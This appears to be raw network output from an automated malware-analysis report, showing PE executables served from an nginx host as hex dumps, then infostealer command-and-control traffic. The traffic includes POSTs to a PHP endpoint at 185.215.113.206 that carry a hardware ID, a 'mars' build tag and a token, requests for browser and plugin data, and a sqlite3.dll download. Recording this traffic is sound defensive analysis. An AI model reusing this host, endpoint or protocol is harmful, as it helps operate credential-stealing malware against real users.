00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 18:52:29 GMTContent-Type: application/octet-streamContent-Length: 3202560Last-Modified: Mon, 11 Nov 2024 18:42:20 GMTConnection: keep-aliveETag: "6732500c-30de00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 31 00 00 04 00 00 36 30 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 d2 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 d2 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 73 72 79 6c 6a 70 77 00 30 2a 00 00 b0 06 00 00 24 2a 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 73 78 61 75 66 63 74 00 10 00 00 00 e0 30 00 00 04 00 00 00 b8 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 30 00 00 22 00 00 00 bc 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 18:53:07 GMTContent-Type: application/octet-streamContent-Length: 3179008Last-Modified: Mon, 11 Nov 2024 18:41:59 GMTConnection: keep-aliveETag: "67324ff7-308200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 90 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 30 00 00 04 00 00 8b f0 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 80 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 90 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 72 6b 66 6a 78 74 61 00 d0 2a 00 00 b0 05 00 00 c6 2a 00 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 66 69 7a 6b 75 70 76 00 10 00 00 00 80 30 00 00 04 00 00 00 5c 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 30 00 00 22 00 00 00 60 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 18:53:13 GMTContent-Type: application/octet-streamContent-Length: 1810944Last-Modified: Mon, 11 Nov 2024 18:42:12 GMTConnection: keep-aliveETag: "67325004-1ba200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 b0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 69 00 00 04 00 00 0f a1 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 72 75 67 74 61 72 6f 00 10 1a 00 00 90 4f 00 00 06 1a 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 73 69 62 71 67 71 70 00 10 00 00 00 a0 69 00 00 04 00 00 00 7c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 69 00 00 22 00 00 00 80 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 18:53:20 GMTContent-Type: application/octet-streamContent-Length: 2825728Last-Modified: Mon, 11 Nov 2024 17:51:07 GMTConnection: keep-aliveETag: "6732440b-2b1e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 5a 35 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6e 62 6f 68 68 61 75 68 00 c0 2a 00 00 a0 00 00 00 be 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 73 76 7a 74 74 76 6d 00 20 00 00 00 60 2b 00 00 04 00 00 00 f8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 fc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 18:53:25 GMTContent-Type: application/octet-streamContent-Length: 1810944Last-Modified: Mon, 11 Nov 2024 18:42:12 GMTConnection: keep-aliveETag: "67325004-1ba200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 b0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 69 00 00 04 00 00 0f a1 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 72 75 67 74 61 72 6f 00 10 1a 00 00 90 4f 00 00 06 1a 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 73 69 62 71 67 71 70 00 10 00 00 00 a0 69 00 00 04 00 00 00 7c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 69 00 00 22 00 00 00 80 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 41 44 37 32 44 46 37 37 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="hwid"62AD72DF77442409657292------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="build"mars------BGIDBKKKKKFBGDGDHIDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="message"browsers------AFHDBGHJKFIDHJJJEBKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="message"plugins------BGCAFHCAKFBFIECAFIIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJEBGIEBFIJKEBFBFHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 2d 2d 0d 0a Data Ascii: ------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="message"fplugins------DHJEBGIEBFIJKEBFBFHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDBHost: 185.215.113.206Content-Length: 5591Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCBHost: 185.215.113.206Content-Length: 999Connection: Keep-AliveCache-Control: no-cache
